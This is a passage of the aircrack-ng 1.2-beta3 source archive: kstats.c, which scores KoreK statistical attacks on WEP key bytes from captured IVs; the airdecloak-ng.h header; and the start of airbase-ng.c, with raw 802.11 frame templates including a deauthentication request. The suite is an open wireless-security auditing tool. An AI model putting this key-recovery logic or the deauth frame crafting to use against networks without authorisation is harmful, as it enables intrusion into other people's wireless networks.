0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00, 0x6e, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x69, 0x00, 0x73, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00}; aircrack-ng-1.2-beta3/src/kstats.c0000644000000000000000000002516612153517342015510 0ustar rootroot/* * Kstat: displays the votes of the korek attack for each keybyte * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include "common.h" #define N_ATTACKS 17 enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; int K_COEFF[N_ATTACKS] = { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20 }; void calc_votes( unsigned char *ivbuf, long nb_ivs, unsigned char *key, int B, int votes[N_ATTACKS][256] ) { int i, j; long xv; unsigned char R[256], jj[256]; unsigned char S[256], Si[256]; unsigned char K[64]; unsigned char io1, o1, io2, o2; unsigned char Sq, dq, Kq, jq, q; unsigned char S1, S2, J2, t2; for( i = 0; i < 256; i++ ) R[i] = i; q = 3 + B; memcpy( K + 3, key, B ); memset( votes, 0, sizeof( int ) * N_ATTACKS * 256 ); for( xv = 0; xv < nb_ivs; xv += 5 ) { memcpy( K, &ivbuf[xv], 3 ); memcpy( S, R, 256 ); memcpy( Si, R, 256 ); for( i = j = 0; i < q; i++ ) { jj[i] = j = ( j + S[i] + K[i & 15] ) & 0xFF; SWAP( S[i], S[j] ); } i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 ); o1 = ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1]; o2 = ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2]; Sq = S[q]; dq = Sq + jj[q - 1]; if( S2 == 0 ) { if( ( S1 == 2 ) && ( o1 == 2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } else if( o2 == 0 ) { Kq = 2 - dq; votes[A_neg][Kq]++; } } else { if( ( o2 == 0 ) && ( Sq == 0 ) ) { Kq = 2 - dq; votes[A_u15][Kq]++; } } if( ( S1 == 1 ) && ( o1 == S2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) ) { Kq = 0 - dq; votes[A_neg][Kq]++; Kq = 1 - dq; votes[A_neg][Kq]++; } if( S1 == q ) { if( o1 == q ) { Kq = Si[0] - dq; votes[A_s13][Kq]++; } else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 ) { Kq = io1 - dq; votes[A_u13_1][Kq]++; } else if( io1 < q ) { jq = Si[( io1 - q ) & 0xFF]; if( jq != 1 ) { Kq = jq - dq; votes[A_u5_1][Kq]++; } } } if( ( io1 == 2 ) && ( S[q] == 1 ) ) { Kq = 1 - dq; votes[A_u5_2][Kq]++; } if( S[q] == q ) { if( ( S1 == 0 ) && ( o1 == q ) ) { Kq = 1 - dq; votes[A_u13_2][Kq]++; } else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) ) { Kq = 1 - dq; votes[A_u13_3][Kq]++; } else if( ( S1 >= ( ( -q ) & 0xFF ) ) && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) ) { Kq = 1 - dq; votes[A_u5_3][Kq]++; } } if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) && ( io1 != 1 ) && ( io1 != S[S1] ) ) { Kq = io1 - dq; votes[A_s5_1][Kq]++; } if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) ) { if( o2 == S1 ) { jq = Si[(S1 - S2) & 0xFF]; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_2][Kq]++; } } else if( o2 == ( ( 2 - S2 ) & 0xFF ) ) { jq = io2; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_3][Kq]++; } } } if( ( S[1] != 2 ) && ( S[2] != 0 ) ) { J2 = S[1] + S[2]; if( J2 < q ) { t2 = S[J2] + S[2]; if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 ) && ( io2 != J2 ) ) { Kq = io2 - dq; votes[A_s3][Kq]++; } } } if( S1 == 2 ) { if( q == 4 ) { if( o2 == 0 ) { Kq = Si[0] - dq; votes[A_4_s13][Kq]++; } else { if( ( jj[1] == 2 ) && ( io2 == 0 ) ) { Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++; } if( ( jj[1] == 2 ) && ( io2 == 2 ) ) { Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++; } } } else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) && ( io2 != 1 ) && ( io2 != 4 ) ) { Kq = io2 - dq; votes[A_u5_4][Kq]++; } } } } typedef struct { int idx, val; } vote; int cmp_votes( const void *bs1, const void *bs2 ) { if( ((vote *) bs1)->val < ((vote *) bs2)->val ) return( 1 ); if( ((vote *) bs1)->val > ((vote *) bs2)->val ) return( -1 ); return( 0 ); } int main( int argc, char *argv[] ) { FILE *f; long nb_ivs; int i, n, B, *vi; int votes[N_ATTACKS][256]; unsigned char *ivbuf, *s; unsigned char buffer[4096]; unsigned char wepkey[16]; vote poll[64][256]; if( argc != 3 ) { printf( "usage: kstats <104-bit key>\n" ); return( 1 ); } i = 0; s = (unsigned char * ) argv[2]; buffer[0] = s[0]; buffer[1] = s[1]; buffer[2] = '\0'; while( sscanf( (char*) buffer, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { fprintf( stderr, "Invalid wep key.\n" ); return( 1 ); } wepkey[i++] = n; if( i >= 16 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buffer[0] = s[0]; buffer[1] = s[1]; } if( i != 13 ) { fprintf( stderr, "Invalid wep key.\n" ); return( 1 ); } if( ( ivbuf = (unsigned char *) malloc( 5 * 0xFFFFFF ) ) == NULL ) { perror( "malloc" ); return( 1 ); } if( ( f = fopen( argv[1], "rb" ) ) == NULL ) { free(ivbuf); perror( "fopen" ); return( 1 ); } if( fread( buffer, 1, 4, f ) != 4 ) { free(ivbuf); fclose(f); perror( "fread header" ); return( 1 ); } if( memcmp( buffer, "\xBF\xCA\x84\xD4", 4 ) != 0 ) { free(ivbuf); fclose(f); fprintf( stderr, "Not an .IVS file\n" ); return( 1 ); } nb_ivs = 0; while( 1 ) { if( fread( buffer, 1, 1, f ) != 1 ) break; if( buffer[0] != 0xFF ) if( fread( buffer + 1, 1, 5, f ) != 5 ) break; if( fread( buffer, 1, 5, f ) != 5 ) break; memcpy( ivbuf + nb_ivs * 5, buffer, 5 ); nb_ivs++; } for( B = 0; B < 13; B++ ) { for( i = 0; i < 256; i++ ) { poll[B][i].idx = i; poll[B][i].val = 0; } calc_votes( ivbuf, nb_ivs, wepkey, B, votes ); for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ ) for( i = 0; i < 256; i++, vi++ ) poll[B][i].val += *vi * K_COEFF[n]; qsort( poll[B], 256, sizeof( vote ), cmp_votes ); printf( "KB %02d VALID %02X", B, wepkey[B] ); for( i = 0; i < 256; i++ ) if( poll[B][i].idx == wepkey[B] ) printf( "(%4d) ", poll[B][i].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][wepkey[B]] ); printf( "\n" ); printf( "KB %02d FIRST %02X(%4d) ", B, poll[B][0].idx, poll[B][0].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][0].idx] ); printf( "\n" ); printf( "KB %02d SECOND %02X(%4d) ", B, poll[B][1].idx, poll[B][1].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][1].idx] ); printf( "\n" ); printf( "KB %02d THIRD %02X(%4d) ", B, poll[B][2].idx, poll[B][2].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][2].idx] ); printf( "\n\n" ); } free(ivbuf); fclose(f); return( 0 ); } aircrack-ng-1.2-beta3/src/airdecloak-ng.h0000644000000000000000000001323511215026345016672 0ustar rootroot#ifndef _AIRUNDEFENSE_H_ #define _AIRUNDEFENSE_H_ #include "pcap.h" #include "common.h" typedef enum {false, true} BOOLEAN; /* typedef enum { CLOAKING_NOT_YET_CHECKED, VALID_FRAME_UNCLOAKED, CLOAKED_FRAME, CLOAKING_STATUS_TBD, // Identical SN DROPPED_FRAME, WEIRD_FRAME_TYPE } CLOAKING_STATUS; */ // How far should we check for cloacked packets (backward and forward) #define PACKET_CHECKING_LENGTH 10 #define DIRECTION_BACKWARD 0 #define DIRECTION_FORWARD 1 #define UKNOWN_FRAME_CLOAKING_STATUS -1 #define VALID_FRAME_UNCLOAKED 0 #define CLOAKED_FRAME 2 #define POTENTIALLY_CLOAKED_FRAME 1 #define DROPPED_FRAME 3 // Weird frames are rejected before being checked atm #define WEIRD_FRAME_TYPE 100 #define FRAME_TYPE_MANAGEMENT 0 #define FRAME_TYPE_CONTROL 1 #define FRAME_TYPE_DATA 2 #define BEACON_FRAME 0x80 #define PROBE_RESPONSE 0x50 #define AUTHENTICATION 0xB0 #define ASSOCIATION_REQUEST 0x00 #define ASSOCIATION_RESPONSE 0x10 #define NULL_FRAME 0x48 #define FILTER_SIGNAL 1 #define FILTER_DUPLICATE_SN 2 #define FILTER_DUPLICATE_SN_AP 3 #define FILTER_DUPLICATE_SN_CLIENT 4 #define FILTER_CONSECUTIVE_SN 5 #define FILTER_DUPLICATE_IV 6 #define FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN 7 #define getBit(pckt, startbit) getBits(pckt, startbit, 1) #define get_iv(packet) ((packet)->iv[0]+((packet)->iv[1] * 256)+((packet)->iv[2] *256*256)) const int PACKET_HEADER_SIZE = sizeof( struct pcap_pkthdr ); struct packet_elt_header { struct packet_elt *first; struct packet_elt *current; struct packet_elt *last; int nb_packets; int average_signal; // Calculate the average signal (for later) // Currently do it on management frames (or control frames); may change in the future. } * _packet_elt_head; struct packet_elt { struct pcap_pkthdr header; /* packet header */ unsigned char *packet; /* packet */ unsigned short length; /* packet length, just to know how much to write to the file */ // A few interesting stuff coming from the packets int fromDS; int toDS; int frame_type; /* MGMT, CTRL, DATA */ int frame_subtype; // Not yet filled but will do unsigned char version_type_subtype; // First byte unsigned char source[6]; unsigned char destination[6]; unsigned char bssid[6]; int sequence_number; int fragment_number; unsigned char iv[3]; unsigned char key_index; unsigned char icv[4]; int signal_quality; int retry_bit; int more_fragments_bit; //int packet_number; /* packet number */ int is_cloaked; int is_dropped; // Do we have to drop this frame? int complete; // 0: no, 1: yes struct packet_elt * next; struct packet_elt * prev; }; // Not already used (partially maybe) struct decloak_stats { unsigned long nb_read; /* # of packets read */ unsigned long nb_wep; /* # of WEP data packets */ unsigned long nb_bad; /* # of bad data packets */ unsigned long nb_wpa; /* # of WPA data packets */ unsigned long nb_plain; /* # of plaintext packets */ unsigned long nb_filt_wep; /* # of filtered WEP pkt */ unsigned long nb_cloak_wep; /* # of cloaked WEP pkt */ }; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern char * mac2string(unsigned char * mac); extern int maccmp(unsigned char *mac1, unsigned char *mac2); void usage(); int getBits(unsigned char b, int from, int length); FILE * openfile(const char * filename, const char * mode, int fatal); BOOLEAN write_packet(FILE * file, struct packet_elt * packet); FILE * init_new_pcap(const char * filename); FILE * open_existing_pcap(const char * filename); BOOLEAN read_packets(void); BOOLEAN initialize_linked_list(); BOOLEAN add_node_if_not_complete(); void set_node_complete(); void remove_last_uncomplete_node(); struct packet_elt * getPacketNr(int position); char * iv2string(unsigned char * iv); char * icv2string(unsigned char * icv); void print_packet(struct packet_elt * packet); void reset_current_packet_pointer(); BOOLEAN reset_current_packet_pointer_to_ap_packet(); BOOLEAN reset_current_packet_pointer_to_client_packet(); BOOLEAN next_packet_pointer(); BOOLEAN next_packet_pointer_from_ap(); BOOLEAN next_packet_pointer_from_client(); BOOLEAN prev_packet_pointer(); int compare_SN_to_current_packet(struct packet_elt * packet); BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet); BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current(); BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(); BOOLEAN write_packets(); BOOLEAN print_statistics(); char * status_format(int status); int get_average_signal_ap(); // Check for cloaking functions BOOLEAN check_for_cloaking(); // Main cloaking check function #define CFC_base_filter() CFC_with_valid_packets_mark_others_with_identical_sn_cloaked() int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(); int CFC_mark_all_frames_with_status_to(int original_status, int new_status); int CFC_filter_signal(); int CFC_filter_duplicate_sn_ap(); int CFC_filter_duplicate_sn_client(); int CFC_filter_duplicate_sn(); int CFC_filter_consecutive_sn(); int CFC_filter_consecutive_sn_ap(); int CFC_filter_consecutive_sn_client(); int CFC_filter_duplicate_iv(); int CFC_filter_signal_duplicate_and_consecutive_sn(); /* const char usage[] = "\n" " %s - (C) 2008 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airundefense-ng \n" "\n"; */ #endif aircrack-ng-1.2-beta3/src/airbase-ng.c0000644000000000000000000041167612313366351016214 0ustar rootroot/* * 802.11 monitor AP * based on airtun-ng * * Copyright (C) 2008-2013 Thomas d'Otreppe * Copyright (C) 2008, 2009 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifdef linux #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "common.h" #include "eapol.h" #include "osdep/osdep.h" #include "osdep/common.h" #ifdef USE_GCRYPT GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif static struct wif *_wi_in, *_wi_out; #define CRYPT_NONE 0 #define CRYPT_WEP 1 #define EXT_IN 0x01 #define EXT_OUT 0x02 #define NB_PRB 10 /* size of probed ESSID ring buffer */ #define MAX_CF_XMIT 100 #define TI_MTU 1500 #define WIF_MTU 1800 #define MAX_FRAME_EXTENSION 100 //if not all fragments are available 60 seconds after the last fragment was received, they will be removed #define FRAG_TIMEOUT (1000000*60) #define RTC_RESOLUTION 512 #define ALLOW_MACS 0 #define BLOCK_MACS 1 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16" #define EXTENDED_RATES \ "\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define PROBE_RSP \ "\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define WPA1_TAG \ "\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50" \ "\xf2\x01\x01\x00\x00\x50\xf2\x02" #define WPA2_TAG \ "\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00" \ "\x00\x0f\xac\x02\x01\x00" #define ALL_WPA2_TAGS \ 